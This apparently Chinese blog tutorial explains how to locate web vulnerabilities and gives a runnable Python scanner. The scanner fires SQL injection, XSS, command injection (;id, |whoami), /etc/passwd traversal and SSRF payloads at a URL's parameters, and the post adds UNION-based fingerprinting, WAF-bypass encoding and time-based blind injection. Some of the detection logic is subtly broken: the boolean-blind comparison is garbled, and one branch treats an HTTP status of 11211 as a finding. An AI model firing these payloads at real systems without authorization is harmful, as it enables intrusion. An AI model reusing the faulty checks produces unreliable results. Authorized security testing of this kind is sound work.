综合实用脚本,防守漏洞怎么识别定位?

wen 实用脚本 1

本文目录导读:

综合实用脚本,防守漏洞怎么识别定位?

  1. 核心识别定位思路(方法论)
  2. 综合安全探测脚本(Python)
  3. 代码逻辑详解(如何精准定位)
  4. 拓展建议(实战中的“高等级”技巧)
  5. 重要提示

防守漏洞”的识别定位,在网络安全语境下,通常指代码审计红蓝对抗中的弱点发现,虽然你提到了“综合实用脚本”,但纯靠脚本很难“智能化”地凭空找到逻辑漏洞,脚本的核心价值在于辅助半自动化精准验证

考虑到“综合实用脚本”这个需求,我为你梳理了一套从信息收集 → 攻击面分析 → 漏洞特征匹配 → 验证利用的实战方法论,并配上一个可直接运行的综合探测脚本示例。

核心识别定位思路(方法论)

防守方(或攻击方)识别漏洞的定位逻辑,核心围绕“不可信输入”“可疑逻辑”

  1. 入口点扫描:脚本先跑通所有HTTP方法(GET/POST/PUT),记录所有参数(Query、Body、Header、Cookie)。
  2. 污点追踪(隐式判断):针对传入参数,拼接危险的“探测Payload”(如单引号、算术表达式、特殊路径片段)。
  3. 回显差异分析:脚本核心逻辑是根据响应差异判断漏洞类型:
    • SQL注入:输入 报错,输入 ' AND '1'='1 正常,输入 ' AND '1'='2 返回空。→ 定位到注入点。
    • XSS(跨站脚本):输入 <img src=x onerror=alert(1)> 回显在响应体中且未编码。
    • 命令注入:输入 ;id| whoami,响应中出现 uid=
    • SSRF(服务端请求伪造):输入 http://127.0.0.1file:///etc/passwd,响应中带有本地文件内容或探测到内网端口开放标志。
    • 路径穿越:输入 ../../../../etc/passwd,若返回 root: 开头内容。

综合安全探测脚本(Python)

这是一个轻量级、无需额外依赖(仅用 socketurllib)的多功能探测脚本,用于快速定位常见的 Web 防守弱点。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
综合实用性防御漏洞探测脚本
用法: python vuln_probe.py <目标URL>
示例: python vuln_probe.py http://example.com/page.php?id=1
"""
import socket
import urllib.parse
import urllib.request
import ssl
import sys
import re
import time
# 忽略SSL证书错误(测试时方便)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# ========== 1. 构建Payload库 ==========
payloads = {
    'SQL_Error': ["'", "\"", "1' OR '1'='1", "admin'-- -"],
    'SQL_Bool': ["' AND '1'='1", "' AND '1'='2"],
    'XSS': ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>', '"><svg/onload=alert(1)>'],
    'Command': [';id', '|whoami', '$(id)', '`id`'],
    'Path_Traversal': ['../../../../etc/passwd', '....//....//etc/passwd', '%2e%2e%2fetc/passwd'],
    'SSRF_File': ['file:///etc/passwd', 'dict://127.0.0.1:11211', 'http://127.0.0.1:8080'],
}
# ========== 2. 核心探测函数 ==========
def send_request(url, data=None, method='GET'):
    """发送HTTP请求并返回原始响应"""
    try:
        req = urllib.request.Request(url, data=data, method=method)
        # 伪装User-Agent,避免被简单WAF拦截
        req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36')
        req.add_header('X-Forwarded-For', '127.0.0.1') # 测试部分基于IP的防护
        with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            headers = dict(resp.headers)
            return resp.status, headers, body
    except urllib.error.HTTPError as e:
        # 404和500也有价值,说明路径或参数触发了异常
        return e.code, e.headers, e.read().decode('utf-8', errors='ignore')
    except Exception as e:
        return None, {}, str(e)
def analyze_vuln(url, param_name, vuln_type, payload):
    """针对单一参数和Payload进行验证与汇总"""
    parsed = urllib.parse.urlparse(url)
    query = urllib.parse.parse_qs(parsed.query)
    # 把当前参数替换为Payload
    modified_query = query.copy()
    modified_query[param_name] = [payload]
    # 重新构建URL
    new_query = urllib.parse.urlencode(modified_query, doseq=True)
    modified_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
    status, headers, body = send_request(modified_url)
    # ---- 漏洞判定逻辑 ----
    result = None
    if vuln_type == 'SQL_Error':
        if "SQL syntax" in body or "mysql_fetch" in body or "ORA-" in body or "syntax error" in body:
            result = "错误型SQL注入"
    elif vuln_type == 'SQL_Bool':
        # 经典布尔盲注:对比'1'='1 和 '1'='2 的响应
        if param_name:
            q1 = modified_query.copy(); q1[param_name] = [payload.replace("'1'='2", "'1'='1") or payload.replace("'1'='1", "'1'='1")]
            u1 = urllib.parse.urlunparse(parsed._replace(query=urllib.parse.urlencode(q1, doseq=True)))
            s1, _, b1 = send_request(u1)
            # 如果两种响应长度不一致,判定布尔盲注
            if s1 == status and (len(b1) != len(body) or b1 != body):
                result = "布尔型盲注"
    elif vuln_type == 'XSS':
        # 检查Payload是否未经转义回显
        if re.search(r'<script>alert\(1\)</script>|onerror=alert|svg/onload', body):
            result = "反射型XSS"
    elif vuln_type == 'Command':
        # 命令执行回显特征
        if re.search(r'uid=\d+\(|\d+:\d+ when |Microsoft Windows \[Version', body):
            result = "命令注入"
    elif vuln_type == 'Path_Traversal':
        if "root:x:0:0" in body or "root::" in body or "Users" in body:
            result = "路径穿越/任意文件读取"
    elif vuln_type == 'SSRF_File':
        if "root:x:0:0" in body or "Docker" in body or "container" in body.lower():
            result = "SSRF-文件读取"
        elif status == 11211:
            result = "SSRF-Memcache探测"
    return status, result
# ========== 3. 主流程 ==========
def main():
    if len(sys.argv) < 2:
        print("[*] 用法: python vuln_probe.py <URL>")
        sys.exit(1)
    target_url = sys.argv[1]
    parsed = urllib.parse.urlparse(target_url)
    params = urllib.parse.parse_qs(parsed.query)
    print(f"[*] 目标: {target_url}")
    print(f"[*] 提取参数: {list(params.keys())}")
    if not params:
        print("[!] 注意:未发现GET参数,将尝试探测POST参数")
        # 此处简化处理,可扩展为尝试暴力POST常见参数名
        params = {'search': [''], 'input': ['']} # 占位符
    print("[*] 开始扫描...\n")
    found_vulns = []
    # 对每个参数遍历所有Payload类型
    for param in params.keys():
        for vuln_type, payload_list in payloads.items():
            for payload in payload_list:
                # 稍微限速,避免打崩目标
                time.sleep(0.1)
                status, result = analyze_vuln(target_url, param, vuln_type, payload)
                if result:
                    msg = f"[!!] 发现漏洞: {result} | 参数: {param} | Payload: {payload}"
                    print(msg)
                    found_vulns.append(msg)
                    break  # 该参数该漏洞类型已找到,跳出内层循环
    # ======= 数据库指纹探测(补充) =======
    print("\n[*] 探测数据库指纹...")
    for db_finger in ['sqlite_master', 'information_schema.tables', 'mysql.user']:
        guessed_url = target_url.replace('id=', f"id=1 AND 1=2 UNION SELECT 1 FROM {db_finger}-- -")
        status, _, body = send_request(guessed_url)
        if status == 200 and "table" in body.lower():
            print(f"[+] 疑似数据库类型: {db_finger.split('_')[0]}")
    # ======= 中间件指纹 =======
    print("\n[*] 分析响应头...")
    status, headers, _ = send_request(target_url)
    interesting_headers = ['X-Powered-By', 'Server', 'Set-Cookie']
    for h in interesting_headers:
        if h in headers:
            print(f"    [+] {h}: {headers[h]}")
    print("\n[*] 扫描完成,若上方存在[!!]标志,请结合上下文人工复核(排除误报)。")
if __name__ == "__main__":
    main()

代码逻辑详解(如何精准定位)

  1. 参数覆盖式扫描:脚本先解析出URL中的参数(如 ?id=1 中的 id),对于每个参数,会循环替换成不同的攻击载荷,这样能精确定位到“哪个参数”存在漏洞。
  2. 双响应比对(布尔盲注):针对 ' AND '1'='1' AND '1'='2 分别请求,如果两次响应的长度或内容不一致,说明代码中存在数据库逻辑判断,这是定位盲注的核心手段。
  3. 特征码匹配
    • 命令注入:匹配 uid=(Linux)或 Microsoft Windows 字样。
    • 路径穿越:匹配 root:x:0:0(Linux passwd 文件特征)。
    • XSS:正则匹配 <script>svg/onload 是否原样返回。
    • 这种方法逻辑简单,主要目的是“自动化缩小范围”,最终定位还需要人工看上下文。

拓展建议(实战中的“高等级”技巧)

  • 绕过WAF的变种脚本:如果上述脚本发送的带攻击性Payload被拦截(如返回403或拦截页面),脚本输出会显示为 “无漏洞”,此时需要变种编码
    # 在脚本中可加入编码变种,
    encoded_payload = payload.replace(' ', '/**/').replace("'", "%27")
  • 关联“逻辑”漏洞:只靠脚本很难发现越权,建议在脚本中增加“登录状态保持”(加入Cookie),手动测试 uid 替换为其他用户ID,观察响应差异。
  • 基于时间的盲注探测:利用 + IF(1=1,SLEEP(3),0),如果响应时间 >3秒,则确认条件成立,这是纯代码静态扫描无法做到的。

重要提示

该脚本仅用于授权测试自研代码安全自查,如果针对未授权目标使用,涉及法律责任,在真实的防守工作中(如企业SRC),通常结合 Xray、SQLMap、Burp Suite Pro 的自动化扫描器,但原理与上述脚本完全一致:先定位入口,再变异探测,最后验证特征

抱歉,评论功能暂时关闭!